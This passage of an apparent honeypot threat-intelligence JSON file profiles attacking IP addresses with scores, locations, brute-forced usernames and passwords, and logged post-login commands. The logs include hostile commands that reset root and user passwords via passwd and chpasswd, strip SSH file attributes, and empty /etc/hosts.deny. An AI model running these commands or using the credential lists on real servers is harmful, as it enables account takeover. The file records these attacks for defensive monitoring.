        "first_seen_30d": "2026-04-03T22:52:07.508000+00:00",
        "last_seen_30d": "2026-04-23T19:09:13.971000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 10,
        "Cowrie": 2
      }
    },
    "91.196.152.185": {
      "attack_count": 2,
      "first_seen": "2026-04-04T12:49:02.462Z",
      "last_seen": "2026-04-04T12:49:05.467Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 72.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 28,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T04:50:26+00:00",
        "last_seen_30d": "2026-04-28T10:38:34.758000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 35,
        "Cowrie": 2
      }
    },
    "91.231.89.83": {
      "attack_count": 2,
      "first_seen": "2026-04-18T12:47:28.100Z",
      "last_seen": "2026-04-18T12:47:28.101Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 79.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 30,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T21:27:41+00:00",
        "last_seen_30d": "2026-04-30T10:09:23.437000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 38,
        "Cowrie": 2
      }
    },
    "92.224.134.152": {
      "attack_count": 2,
      "first_seen": "2026-04-06T18:51:49.238Z",
      "last_seen": "2026-04-06T18:52:03.970Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "asn": 6805,
      "as_org": "Telefonica Germany",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T18:51:49.238000+00:00",
        "last_seen_30d": "2026-04-06T18:53:12.556000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "52.173.162.97": {
      "attack_count": 5333,
      "first_seen": "2026-04-29T04:47:21.432Z",
      "last_seen": "2026-04-29T10:44:25.648Z",
      "sessions": 1065,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        " ",
        "!",
        "!@#$%^",
        "!@#$QWER",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ2wsx#EDC",
        "!QAZ2wsx3edc",
        "!QAZ2wsx3edc4rfv",
        "!QAZ@WSX",
        "!QAZ@wsx",
        "!QAZxsw2",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "*****",
        "******",
        "------fuck------",
        "---fuck_you----",
        "0"
      ],
      "commands_executed": [
        "nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null || echo 0"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 41.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7873,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T04:46:06.894000+00:00",
        "last_seen_30d": "2026-04-29T10:45:27.276000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5333,
        "Suricata": 2540
      }
    },
    "172.237.38.4": {
      "attack_count": 1260,
      "first_seen": "2026-04-07T10:47:10.339Z",
      "last_seen": "2026-04-07T11:16:13.374Z",
      "sessions": 252,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "user",
        "ftpuser",
        "ubuntu",
        "admin",
        "jenkins",
        "oracle",
        "steam",
        "test",
        "dany",
        "david",
        "deployer",
        "idempiere",
        "kafka",
        "linux",
        "minecraft",
        "server",
        "student",
        "testuser"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "12345678",
        "P@ssw0rd",
        "password",
        "1",
        "admin123",
        "claude",
        "ubuntu",
        "!@#$%^",
        "!QAZ2wsx3edc4rfv",
        "02071979",
        "090786",
        "1011",
        "102030",
        "11",
        "111",
        "1111",
        "112233"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 1772,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T10:47:10.339000+00:00",
        "last_seen_30d": "2026-04-07T11:17:22.676000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1260,
        "Suricata": 512
      }
    },
    "45.153.34.71": {
      "attack_count": 1246,
      "first_seen": "2026-04-27T13:23:07.805Z",
      "last_seen": "2026-04-27T13:42:06.127Z",
      "sessions": 249,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "test",
        "minecraft",
        "oracle",
        "user1",
        "elasticsearch",
        "es",
        "postgres",
        "steam",
        "user",
        "adminuser",
        "app",
        "bot",
        "chris",
        "david",
        "deploy",
        "git",
        "jenkins"
      ],
      "passwords_attempted": [
        "123456",
        "1",
        "123",
        "password",
        "Aa123456",
        "123123",
        "12345",
        "123456789",
        "1qaz@WSX",
        "Huawei12",
        "abc123",
        "linux",
        "qwe123",
        "root1234",
        "ubuntu",
        "!Qaz@Wsx",
        "000000",
        "11",
        "1111",
        "111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1749,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T13:22:47.445000+00:00",
        "last_seen_30d": "2026-04-27T13:43:09.615000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1246,
        "Suricata": 503
      }
    },
    "185.246.130.20": {
      "attack_count": 1017,
      "first_seen": "2026-04-01T03:17:37.408Z",
      "last_seen": "2026-04-30T23:17:00.127Z",
      "sessions": 109,
      "ports": [],
      "usernames_attempted": [
        "0",
        "authority",
        "ddd",
        "ftp1",
        "oracle",
        "root",
        "test1",
        "ubuntu",
        "admin",
        "xiaoxiao",
        "qaz",
        "ui"
      ],
      "passwords_attempted": [
        "0",
        "authority",
        "ddd",
        "ftp1",
        "or4cl3",
        "root!@#$",
        "test1",
        "ubuntu1234",
        "admin",
        "password",
        "123456",
        "ui"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42237,
      "as_org": "w1n ltd",
      "threat_score": 73.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1636,
        "days_active_30d": 30,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T03:17:37.408000+00:00",
        "last_seen_30d": "2026-04-30T23:18:09.469000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1017,
        "Suricata": 619
      }
    },
    "51.75.247.232": {
      "attack_count": 831,
      "first_seen": "2026-04-19T17:44:45.202Z",
      "last_seen": "2026-04-27T15:42:44.287Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "steam",
        "deploy",
        "elasticuser",
        "ftpuser01",
        "sammy",
        "admin",
        "adrian",
        "developer",
        "frappe",
        "ftp-user",
        "ftpuser",
        "it",
        "john",
        "lh",
        "mike",
        "n8n",
        "newusername"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!23QweAsd",
        "111",
        "123",
        "123321",
        "1234",
        "12345678",
        "123@123aA",
        "147258369",
        "1qa2ws3ed",
        "Cloud123",
        "Default2024!",
        "Frappe2025",
        "Jun",
        "N8n1",
        "P@ssw0rd2025",
        "PINZ710M",
        "Pa$$!@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\n86jKN5Y4chUR\\n86jKN5Y4chUR\\n\"|passwd",
        "echo \"123@123aA\\nGcdssj5Xsxl7\\nGcdssj5Xsxl7\\n\"|passwd",
        "echo \"admin2024\\nvdmMW4lQxBab\\nvdmMW4lQxBab\\n\"|passwd",
        "echo \"admin@123\\nv6pmTQzeXOxX\\nv6pmTQzeXOxX\\n\"|passwd",
        "echo \"ftpuser01\\nn3Ok6vrMur5q\\nn3Ok6vrMur5q\\n\"|passwd",
        "echo \"root:nfqWaqtgyD5e\"|chpasswd|bash",
        "echo \"root:xuCFw2w6dp7O\"|chpasswd|bash",
        "echo -e \"123456\\n86jKN5Y4chUR\\n86jKN5Y4chUR\"|passwd|bash",
        "echo -e \"123@123aA\\nGcdssj5Xsxl7\\nGcdssj5Xsxl7\"|passwd|bash",
        "echo -e \"admin2024\\nvdmMW4lQxBab\\nvdmMW4lQxBab\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 44.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1017,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T17:44:45.202000+00:00",
        "last_seen_30d": "2026-04-27T15:43:51.660000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 831,
        "Suricata": 186
      }
    },
    "51.178.114.78": {
      "attack_count": 798,
      "first_seen": "2026-04-08T09:11:52.055Z",
      "last_seen": "2026-04-10T05:57:06.644Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "geoserver",
        "mailuser",
        "oracle",
        "test",
        "akshay",
        "claude",
        "deploy",
        "ftptest",
        "ftpuser2",
        "git",
        "git-admin",
        "huang",
        "labuser",
        "metabase",
        "minecraft",
        "odoo",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "#Admin123",
        "000000",
        "10202640",
        "102030",
        "123",
        "123456",
        "1234567Aa",
        "1Password@",
        "@123456",
        "Aa1234567",
        "Abc12345.",
        "Admin@234",
        "Odoo06",
        "Qazwsx1234567@123",
        "Qazwsx1@#",
        "Qq@123456789",
        "Qwe123-"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Aa1234567\\nWLk2cijntSQU\\nWLk2cijntSQU\\n\"|passwd",
        "echo \"geoserver\\n0zG8WXyeB3Hy\\n0zG8WXyeB3Hy\\n\"|passwd",
        "echo \"mailuser123\\nSv666BpM9Gh1\\nSv666BpM9Gh1\\n\"|passwd",
        "echo \"root:7BRYKW1mXx6x\"|chpasswd|bash",
        "echo \"root:DN5rzPN4aRA6\"|chpasswd|bash",
        "echo \"root:FLkehAspChK8\"|chpasswd|bash",
        "echo \"root:qUwBR4RszIm7\"|chpasswd|bash",
        "echo \"root@123\\nBpoY6Td8YlTC\\nBpoY6Td8YlTC\\n\"|passwd",
        "echo -e \"Aa1234567\\nWLk2cijntSQU\\nWLk2cijntSQU\"|passwd|bash",
        "echo -e \"geoserver\\n0zG8WXyeB3Hy\\n0zG8WXyeB3Hy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 944,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T09:11:52.055000+00:00",
        "last_seen_30d": "2026-04-10T05:58:11.218000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 798,
        "Suricata": 146
      }
    },
    "162.214.129.96": {
      "attack_count": 680,
      "first_seen": "2026-04-30T13:44:29.776Z",
      "last_seen": "2026-04-30T13:52:31.140Z",
      "sessions": 340,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1021,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:44:29.776000+00:00",
        "last_seen_30d": "2026-04-30T13:53:32.433000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 680,
        "Suricata": 341
      }
    },
    "51.68.226.87": {
      "attack_count": 661,
      "first_seen": "2026-04-07T13:41:44.746Z",
      "last_seen": "2026-04-20T14:28:24.180Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "steam",
        "gitolite",
        "lixiang",
        "postgres",
        "user1",
        "aditya",
        "akash",
        "deploy",
        "finance",
        "front",
        "n8n",
        "oracle",
        "tableau",
        "testftp",
        "testftp3",
        "user",
        "usuario1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123123Qwe",
        "123456",
        "12345Aa@",
        "1QAZ2wsx3edc",
        "1q2w3e!@#",
        "1qaz",
        "1qazxsw2",
        "333",
        "334455",
        "A1234567891011",
        "Abcd@123456",
        "Oracle14!",
        "Pa$$word1",
        "Postgres05!",
        "Postgres06",
        "QWER@123456",
        "Qazwsx11111#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"aa123456!\\nQ9EceD22cKbx\\nQ9EceD22cKbx\\n\"|passwd",
        "echo \"gitolite\\nnBzj8AyiHegO\\nnBzj8AyiHegO\\n\"|passwd",
        "echo \"lixiang\\nvZYZ7H2zakyb\\nvZYZ7H2zakyb\\n\"|passwd",
        "echo \"root:L1ejRwW3OPmk\"|chpasswd|bash",
        "echo \"root:l5SvxkX7PtYJ\"|chpasswd|bash",
        "echo \"root:q3NWviLs0qYr\"|chpasswd|bash",
        "echo -e \"aa123456!\\nQ9EceD22cKbx\\nQ9EceD22cKbx\"|passwd|bash",
        "echo -e \"gitolite\\nnBzj8AyiHegO\\nnBzj8AyiHegO\"|passwd|bash",
        "echo -e \"lixiang\\nvZYZ7H2zakyb\\nvZYZ7H2zakyb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 799,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T13:41:44.746000+00:00",
        "last_seen_30d": "2026-04-20T14:29:28.967000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 661,
        "Suricata": 138
      }
    },
    "61.220.235.10": {
      "attack_count": 624,
      "first_seen": "2026-04-09T01:08:52.695Z",
      "last_seen": "2026-04-29T04:09:47.311Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "dev",
        "test2",
        "user",
        "git",
        "guest",
        "n8n",
        "sammy",
        "test",
        "a",
        "admin",
        "appuser",
        "cephuser",
        "cuser",
        "david",
        "developer",
        "eric",
        "ftpadmin2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "testtest",
        "!qaz2wsx",
        "122333",
        "1234",
        "12345678",
        "1234567890",
        "123ZXCV",
        "123qwe./",
        "12qwe",
        "13579",
        "1qaz2wsx#EDC$RFV",
        "20262026",
        "4321",
        "Abcd123#$",
        "Hello2025",
        "N8n08"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"dev19!\\nbNh5ezuNy41d\\nbNh5ezuNy41d\\n\"|passwd",
        "echo \"root:0a5xT7pKYCdE\"|chpasswd|bash",
        "echo \"testtest\\nTfmmM4g3yKk9\\nTfmmM4g3yKk9\\n\"|passwd",
        "echo -e \"dev19!\\nbNh5ezuNy41d\\nbNh5ezuNy41d\"|passwd|bash",
        "echo -e \"testtest\\nTfmmM4g3yKk9\\nTfmmM4g3yKk9\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Guishan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 56.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.1,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 819,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T01:08:52.695000+00:00",
        "last_seen_30d": "2026-04-29T04:10:55.669000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 624,
        "Suricata": 195
      }
    },
    "202.165.29.174": {
      "attack_count": 580,
      "first_seen": "2026-04-15T00:36:33.836Z",
      "last_seen": "2026-04-19T11:32:08.329Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "user",
        "ftpuser",
        "postgres",
        "cyber",
        "deploy",
        "proxyuser",
        "app",
        "john",
        "oracle",
        "sammy",
        "steam",
        "test",
        "testftp",
        "testout",
        "ts3",
        "user4",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "00local22",
        "123456789",
        "123654",
        "1qa@WS3ed",
        "1qaz#EDC",
        "1qwe2qaz",
        "Admin@2025",
        "Frappe14!",
        "Ftpuser$",
        "Huawei@12#$",
        "Oracle4",
        "QA2ws3ed@",
        "QWERTYUI12345678",
        "Qazwsx123123#$",
        "Qazwsx2024@#",
        "Qwer1234",
        "Redhat@123",
        "Sammy06"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1qaz#EDC\\nAGXAqh4sJb3t\\nAGXAqh4sJb3t\\n\"|passwd",
        "echo \"asd!\\njqtkA2bVhbmk\\njqtkA2bVhbmk\\n\"|passwd",
        "echo \"cyber\\nP0pN3P76J0u7\\nP0pN3P76J0u7\\n\"|passwd",
        "echo \"qwerty\\ngOztsm1lQjY5\\ngOztsm1lQjY5\\n\"|passwd",
        "echo \"u\\nFOgLkaIIeX1s\\nFOgLkaIIeX1s\\n\"|passwd",
        "echo -e \"1qaz#EDC\\nAGXAqh4sJb3t\\nAGXAqh4sJb3t\"|passwd|bash",
        "echo -e \"asd!\\njqtkA2bVhbmk\\njqtkA2bVhbmk\"|passwd|bash",
        "echo -e \"cyber\\nP0pN3P76J0u7\\nP0pN3P76J0u7\"|passwd|bash",
        "echo -e \"qwerty\\ngOztsm1lQjY5\\ngOztsm1lQjY5\"|passwd|bash",
        "echo -e \"u\\nFOgLkaIIeX1s\\nFOgLkaIIeX1s\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 18206,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 708,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T00:36:33.836000+00:00",
        "last_seen_30d": "2026-04-19T11:33:13.962000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 580,
        "Suricata": 128
      }
    },
    "103.23.198.86": {
      "attack_count": 567,
      "first_seen": "2026-04-02T11:42:57.189Z",
      "last_seen": "2026-04-10T10:12:37.396Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "teamspeak",
        "elk",
        "appuser",
        "bot1",
        "deploy",
        "ftp_user",
        "joe",
        "oliver",
        "site",
        "ubuntu",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "202500",
        "202501",
        "AaBbCc123!@#",
        "Ab123123",
        "Ab1234!@#$",
        "AbAb",
        "AbAb12",
        "Abcd@1234",
        "Admin123",
        "Asdfghjkl",
        "Ghij123456",
        "HuaWei@123",
        "P@ss.word1",
        "PP123456",
        "QAZqaz",
        "QQ654",
        "QWERTY123",
        "Qwer1234!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
